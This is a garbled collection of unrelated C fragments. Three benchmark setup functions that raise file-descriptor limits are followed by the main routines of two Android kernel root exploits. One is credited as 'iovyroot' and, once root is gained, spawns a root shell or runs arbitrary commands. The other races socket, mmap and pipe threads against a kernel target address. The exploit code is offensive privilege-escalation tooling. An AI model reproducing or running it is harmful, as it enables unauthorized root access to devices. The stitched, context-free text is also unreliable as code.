int
benchmark_initrun()
{
(void) setfdlimit(3 * lm_optT + 10);
return (0);
}
int
benchmark_initrun()
{
int i;
int errors = 0;
char fname[1024];
nthreads = lm_optP * lm_optT;
nfiles = nthreads * 2;
(void) setfdlimit(nfiles + 10);
files = (int *)malloc(nfiles * sizeof (int));
if (files == NULL) {
return (1);
}
(void) sprintf(fname, "%s/cascade.%ld", optd, getpid());
for (i = 0; i < nfiles; i++) {
files[i] = open(fname, O_CREAT | O_TRUNC | O_RDWR, 0600);
if (files[i] == -1) {
errors++;
}
if (unlink(fname)) {
errors++;
}
}
return (errors);
}
int
benchmark_initrun()
{
(void) setfdlimit(lm_optB * lm_optT + 10);
family = lookup_family(optf);
return (0);
}
int main(int argc, char* argv[])
{
unsigned int i;
int ret = 1;
struct offsets* o;
printf("iovyroot by zxz0O0\n");
printf("poc by idler1984\n\n");
if(!(o = get_offsets()))
return 1;
if(setfdlimit())
return 1;
if(setprocesspriority())
return 1;
if(getpipes())
return 1;
if(initmappings())
return 1;
ret = getroot(o);
//let the threads end
sleep(1);
close(pipefd[0]);
close(pipefd[1]);
for(i = 0; i < IOVECS; i++)
munmap(MMAP_BASE(i), MMAP_SIZE);
if(getuid() == 0)
{
printf("got root lmao\n");
if(argc <= 1)
system("USER=root /system/bin/sh");
else
{
char cmd[128] = { 0 };
for(i = 1; i < (unsigned int)argc; i++)
{
if(strlen(cmd) + strlen(argv[i]) > 126)
break;
strcat(cmd, argv[i]);
strcat(cmd, " ");
}
system(cmd);
}
}
return ret;
}
/* Note: adjust rlimit if needed for more allowed open fd */
int main(int argc, char **argv)
{
int i;
int rc;
void *thread_retval;
int retry;
if (argc > 1) {
target_addr = strtoul(argv[1], NULL, 0);
}
fprintf(stderr, "target_addr = %p\n", (void *)target_addr);
setfdlimit();
init_sock();
init_mmap();
redo:
retry = 0;
init_pipes();
for (i = 0; i < NR_SOCKS; i++) {
rc = pthread_create(&sendmmsg_threads[i], NULL,
sendmmsg_thread_func, NULL);
if (rc) {
perror("sendmmsg_threads failed");
exit(2);
}
}
sleep(3);
kill_switch = 1;
for (i = 0; i < NR_SOCKS; i++) {
pthread_join(sendmmsg_threads[i], &thread_retval);
}
kill_switch = 0;
sleep(1);
rc = pthread_create(&mmap_thread, NULL, mmap_thread_func, NULL);
if (rc) {
perror("mmap_thread failed");
}
for (i = 0; i < NR_PIPES; i++) {
rc = pthread_create(&pipe_write_threads[i], NULL,
pipe_write_func, (void *)pipes[i].fd[1]);
if (rc) {
perror("pipe_write_thread failed");
exit(2);
}
rc = pthread_create(&pipe_read_threads[i], NULL,
pipe_read_func, (void *)pipes[i].fd[0]);
if (rc) {
perror("pipe_read_thread failed");
exit(2);
}
}
for (i = 0; i < NR_PIPES; i++) {
fprintf(stderr, "join read thread %d...\n", i);
pthread_join(pipe_read_threads[i], &thread_retval);
if (thread_retval == (void *)-1) {
retry = 1;
}
fprintf(stderr, "done\n");
}
kill_switch = 1;
fprintf(stderr, "kill others\n");
fprintf(stderr, "join mmap thread...\n");
pthread_join(mmap_thread, &thread_retval);
fprintf(stderr, "done\n");
for (i = 0; i < NR_PIPES; i++) {
for(;;) {
if (close(pipes[i].fd[0])) {
perror("close write pipe failed");
continue;
}
if (close(pipes[i].fd[1])) {
perror("close read pipe failed");
continue;
}
break;
}
}
fprintf(stderr, "pipe closed\n");
if (retry) {
goto redo;
}
exit(0);
return 0;
}
